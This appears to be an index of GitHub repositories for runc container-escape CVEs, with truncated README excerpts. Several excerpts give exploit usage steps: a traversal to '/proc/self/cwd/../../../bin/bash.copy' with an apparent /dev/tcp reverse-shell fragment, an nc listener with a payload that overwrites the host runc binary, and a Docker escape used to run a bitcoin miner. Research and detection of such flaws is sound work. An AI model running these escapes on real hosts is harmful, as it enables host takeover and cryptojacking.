CVE-2024-21626

Usage: 1.git clone https://github.com/cdxiaodong/CVE-2024-21626 2.docker-compose up Verification: If you can obtain the host's /etc/passwd, the vulnerability exists. Environment: runc: =v1.0.0-rc93,=1.1.11 Attack details & principle: In affected versions of runc, during initialization, some...

CVE-2026-D0cker

CVE-2026-Pending: Container Escape via runC maskPaths Vunlerability Severity: Critical CVSS 9.8 Component: opencontainers/runc libcontainer Vulnerability Type: CWE-59: Improper Link Resolution Before File Access 'Link Following' 🚨 Executive Summary A critical vulnerability exists in runc's...

CVE-2024-21626-PoC

CVE-2024-21626 Root cause & Proof of Concept How to use poc-autoplay? make install make uninstall 1. Root cause In runc versions ≤ 1.1.11, when opening the host's /sys/fs/cgroup directory to set cgroups, the file descriptor is left open for the container initialization process without closing it,...

CVE-2024-21626-POC

CVE-2024-21626-POC Usage Instructions For educational/research purposes only. Any behavior not related to education/research is at your own risk. Usage docker build . -t cve-2024-21626 docker run -it --rm cve-2024-21626 bash /poc.sh Start another terminal /bin/bash.copy Note Different docker/runc...

CVE-2019-5736-PoC-2

Overview The exploit from the following repository adapted to run in a Docker image. https://github.com/feexd/pocs Usage Building the Image $ git clone https://github.com/k-onishi/CVE-2019-5736-PoC $ cd CVE-2019-5736-PoC $ make $ sudo docker build -t poc . Execution Run the container and listen o...

cve-2019-5736-reproducer

CVE-2019-5736 reproducer This allows you to confirm RunC-CVE-2019-5736 works on your KVM instance. Workflow overview Build the docker.io related packages vulerable to CVE-2019-5736 in this repo Launch an Ubuntu 18.04 KVM instance on LXD Install the vulnerable .deb packages in the VM Try the...

CVE-2024-21626

CVE-2024-21626 POC Requirements runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tc...

CVE-2019-5736-Dockerattack-and-security-mechanism

CVE-2019-5736-attack-and-security-mechanism In this project, we found a recent attack through the malicious container and implemented a security mechanism to stop it. Introduction Cyber-attacks have become a critical challenge for both companies and small businesses, largely due to vulnerabilitie...

Holistic-Deconstruction-of-CVE-2019-5736-

= doi.org/10.5281/zenodo.18304765 = orcid.org/0009-0007-7728-256X README.md 💀 CVE-2019-5736: runc Container Breakout Deconstruction Advanced Purple Teaming & Forensic Analysis of Host Root Escape 🛡️ Overview This repository contains a high-fidelity deconstruction and Proof-of-Concept PoC for...

proxmox-lxc-docker-fix

Proxmox LXC AppArmor Fix for Docker/Containers Workaround for CVE-2025-52881 : Fixes Docker, Podman, and container runtime breakage in Proxmox LXC containers caused by AppArmor incompatibility with runc 1.2.7+/1.3.2+ 🚨 The Problem Recent security updates to runc versions 1.2.7+ and 1.3.2+ and...

cve-2024-21626

CVE-2024-21626 Overview This repository contains code examples for an app vulnerable to CVE-2024-21626 as well as an eBPF gadget to detect exploitation attempts. This repoistory was created as part of this blog post. The gadget program used to detect this vulnerability is for demonstration purpos...

Docker-Escape-Miner

Using a published Docker exploit to gain root access and run a bitcoin mining script This uses two open source libraries: nightminer by @ricmoo for python bitcoin mining RunC-CVE-2019-5736 by @twistlock for the docker escape System Requirements This was tested on Kali Linux, with Docker version...

cve-2019-5737

Linux: docker build -t cve:linux - Dockerfile docker run cve:linux strings /usr/bin/docker-runc | tail -n 2 Windows: Get-Content Dockerfile | docker build -t cve:windows docker run cve:windows findstr /usr/bin/docker-runc | tail -n 2...

cve_2019-5736-PoC

CVE-2019-5736 PoC This repository contains a C-based proof-of-concept exploit for CVE-2019-5736. This vulnerability allows a malicious Docker container to overwrite the host's runc binary and execute arbitrary commands on the host with root privileges – fully compromising the host system. Inspire...

cve-2019-5736-poc

To run: 1. edit poc command in stage2.c 2. build docker docker build -t cve . 3. run docker docker run -d cve /bin/bash -c "tail -f /dev/null" 4. backup docker-runc cp /usr/bin/docker-runc /usr/bin/docker-runc.bak 5. docker exec -it docker-id /bin/bash 6. in docker run cd /root && ./run.sh && exi...

CVE-2024-21626-runcPOC

Vulnerability Reproduction CVE-2024-21626 docker runc Escape Vulnerability 1. Vulnerability Overview Vulnerability Name| docker runc Escape Vulnerability ---|--- CVE ID| CVE-2024-21626 Disclosure Date| 2024-01-31 Characteristic| / Affected Versions| runc @ v1.0.0-rc93, 1.1.11 2. Exploitation &...

CVE-2019-5736

Usage Edit HOST inside payload.c, compile with make. Start nc and run pwn.sh inside the container. Notes This exploit is destructive: it'll overwrite /usr/bin/docker-runc binary on the host with the payload. It'll also overwrite /bin/sh inside the container. Tested only on Debian 9. No attempts...

CVE-2024-21626

PoC of CVE-2024-21626 Read my full article for detailed explanation here. Related article While investigating CVE-2024–21626 , I discovered an overlooked vulnerability in older versions of Docker and runC. To learn more about what I found, read the following article: “Exploring Hidden...

Docker-Runc-Exploit

Docker-Runc-Exploit Docker runc CVE-2019-5736 exploit Dockerfile. Credits : https://github.com/Frichetten/CVE-2019-5736-PoC.git...

container-escape-ebpf

White Paper https://www.scs-europe.net/dlib/2026/2026-0321.html Assumptions Host runs vulnerable version of runc: For CVE-2025-31133: 1.2.7 and below, 1.3.0-rc.1 through 1.3.2, 1.4.0-rc.1 and 1.4.0-rc.2. For CVE-2024-21626: 1.0.0-rc93 through 1.1.11. Unprivileged user is able to create containers...